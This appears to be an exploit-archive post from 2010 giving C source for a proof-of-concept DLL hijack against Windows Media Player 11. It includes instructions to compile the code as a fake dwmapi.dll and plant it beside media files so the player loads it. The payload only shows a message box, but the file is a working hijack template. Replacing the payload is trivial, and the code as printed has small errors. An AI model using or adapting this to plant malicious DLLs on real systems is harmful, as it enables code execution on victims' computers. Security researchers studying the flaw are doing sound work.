http://inj3ct0r.com/exploits/13972

================================================== =
Windows Media Player 11 DLL Hijacking Vulnerability
================================================== =


/*Windows Media Player 11 DLL Hijacking Vulnerability

~Legion Of Xtremers and Hackers Garage~

Author: Prashant Uniyal

Special greets to:"vinnu" and Secfence Team

Greets to: b0nd,fb1h2s,AnArKi,d4rk357,d4rky

Version: Windows Media Player 11.0.5721.5145

Tested on: Windows XP SP2 En

Complile and rename to dwmapi.dll. Place it in the dir
and execute wmp and media files.
*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_hijack();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacked!",MB_OK);
}


# Inj3ct0r.com [2010-09-05]